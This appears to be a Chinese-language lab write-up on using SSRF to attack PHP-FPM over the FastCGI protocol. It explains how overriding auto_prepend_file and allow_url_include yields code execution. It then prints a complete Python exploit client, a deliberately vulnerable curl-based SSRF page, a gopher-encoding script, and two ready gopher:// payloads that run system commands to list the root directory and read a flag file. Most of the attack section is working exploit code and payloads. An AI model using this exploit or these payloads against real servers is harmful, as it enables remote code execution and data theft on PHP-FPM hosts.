SSRF 攻击PHP-FPM（FastCGI 攻击）：学习总结仅供参考

利用条件：

        Libcurl版本：高于7.45.0

        PHP-FPM：监听端口，版本高于5.3.3

        知道目标机器上任意一个php文件绝对路径

一、FastCGI

fastcgi其实是一个通信协议，和HTTP协议一样，都是进行数据交换的一个通道。HTTP协议是浏览器和服务器中间件进行数据交换的协议，浏览器将HTTP头和HTTP体用某个规则组装成数据包，以TCP的方式发送到服务器中间件，服务器中间件按照规则将数据包解码，并按要求拿到用户需要的数据，再以HTTP协议的规则打包返回给服务器。

fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成，record也有header和body一说，服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端，语言后端解码以后拿到具体数据，进行指定操作，并将结果再按照该协议封装好后返回给服务器中间件。

record的头固定8个字节，body的大小由头部中contentLenght指定（两字节），结构如下

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved;     //保留字段
 
  /* Body */
  unsigned char contentData[contentLength];     //body内容数据
  unsigned char paddingData[paddingLength];     //填充数据
} FCGI_Record;

 type字段选项

enum FCGI_Type {
  FCGI_BEGIN_REQUEST     = 1,  // (WEB->FastCGI) 表示一次请求的开始
  FCGI_ABORT_REQUEST     = 2,  // (WEB->FastCGI) 表示终止一次请求
  FCGI_END_REQUEST       = 3,  // (FastCGI->WEB) 请求已被处理完毕
  FCGI_PARAMS            = 4,  // (WEB->FastCGI) 表示一个向CGI程序传递的环境变量
  FCGI_STDIN             = 5,  // (WEB->FastCGI) 表示向CGI程序传递的标准输入
  FCGI_STDOUT            = 6,  // (FastCGI->WEB) 表示CGI程序的标准输出   
  FCGI_STDERR            = 7,  // (FastCGI->WEB) 表示CGI程序的标准错误输出
  FCGI_DATA              = 8,  // (WEB->FastCGI) 向CGI程序传递的额外数据
  FCGI_GET_VALUES        = 9,  // (WEB->FastCGI) 向FastCGI程序询问一些环境变量
  FCGI_GET_VALUES_RESULT = 10, // (FastCGI->WEB) 询问环境变量的结果
  FCGI_UNKNOWN_TYPE      = 11  // 未知类型，可能用作拓展
};

二、PHP-FPM

FastCGI是一个协议，PHP-FPM是实现了FastCGI协议的程序，全称PHP FastCGI Process Manager 即PHP FastCGI的进程管理器,运行在默认运行在9000端口。

​

 ​

 

现在知道服务器中间件与PHP_FPM使用FastCGI通信，那么我们可以伪造FastCGI协议包与PHP-FPM通信实现任意代码执行。FastCGI中只能传输配置信息，可以更改配置信息来实现任意代码执行。

        在php.ini中有如下两个配置项:

        auto_prepend_file:在执行目标文件前，先包含其指定的文件，其可以使用伪协议如：php://input.

        auto_append_file: 在执行目标文件后，包含其指向的文件

php://input：客户端HTTP请求中POST原始数据

如果设置 auto_prepend_file=php://input 那么每个文件执行前会包含HTTP请求中的POST数据，但php://input需要开启 allow_url_include:On，可以通过FastCGI中的PHP_ADMIN_VALUE选项修如：PHP_ADMIN_VALUE:allow_url_include:On

三、编写EXP（代码来自大佬）

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False     #判断python 版本


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)    # 1 --65535
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

四、实验靶场搭建

1、环境准备

腾讯云服务器：ubuntu

nginx  php-fpm(7.4)   Libcurl(7.74)

php-fpm监听9000端口，nginx将php义务转发自9000端口

php扩展curl模块 （apt-getinstall php7-fpm) 

 php.ini中导入curl.so配置： 

2、建一存在ssrf漏洞的站点：

<?php

$url=$_GET['url'];
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,0);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,0);
$res=curl_exec($ch);
curl_close($ch);



?>

输入网址：http://ip/index.php?url=www.baidu.com  验证站点

3、在根目录下放flag文件

 五、攻击练习

伪造FastCGI数据：

利用大佬写好的脚本运行

 python fpm.py -c "<?php system('ls /');?>" -p 12345 127.0.0.1 /var/www/html/index.php

 另一边监听端口得到数据

 

 xxd 查看数据

 将数据url两次编码:

利用脚本

# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote, urlencode
file= open('1.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))

 得到gopher数据

gopher://127.0.0.1:9000/_%2501%2501P%25A8%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504P%25A8%2501%25DB%2500%2500%250E%2502CONTENT_LENGTH23%250C%2510CONTENT_TYPEapplication/text%250B%2504REMOTE_PORT9985%250B%2509SERVER_NAMElocalhost%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250B%2517SCRIPT_NAME/var/www/html/index.php%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250E%2504REQUEST_METHODPOST%250B%2502SERVER_PORT80%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2500QUERY_STRING%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%250D%2501DOCUMENT_ROOT/%250B%2509SERVER_ADDR127.0.0.1%250B%2517REQUEST_URI/var/www/html/index.php%2501%2504P%25A8%2500%2500%2500%2500%2501%2505P%25A8%2500%2517%2500%2500%253C%253Fphp%2520system%2528%2527ls%2520/%2527%2529%253B%253F%253E%2501%2505P%25A8%2500%2500%2500%2500

在浏览器通过ssrf漏洞站点将数据打入 成功爆出根目录 发现falg 文件

 现在同样伪造数据将falg文件内容爆出

 python fpm.py -c "<?php system('cat /falg');?>" -p 12345 127.0.0.1 /var/www/html/index.php

 得到数据

gopher://127.0.0.1:9000/_%2501%2501%2518.%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2518.%2501%25DB%2500%2500%250E%2502CONTENT_LENGTH28%250C%2510CONTENT_TYPEapplication/text%250B%2504REMOTE_PORT9985%250B%2509SERVER_NAMElocalhost%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250B%2517SCRIPT_NAME/var/www/html/index.php%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250E%2504REQUEST_METHODPOST%250B%2502SERVER_PORT80%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2500QUERY_STRING%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%250D%2501DOCUMENT_ROOT/%250B%2509SERVER_ADDR127.0.0.1%250B%2517REQUEST_URI/var/www/html/index.php%2501%2504%2518.%2500%2500%2500%2500%2501%2505%2518.%2500%251C%2500%2500%253C%253Fphp%2520system%2528%2527cat%2520/flag%2527%2529%253B%253F%253E%2501%2505%2518.%2500%2500%2500%2500

成功爆出flag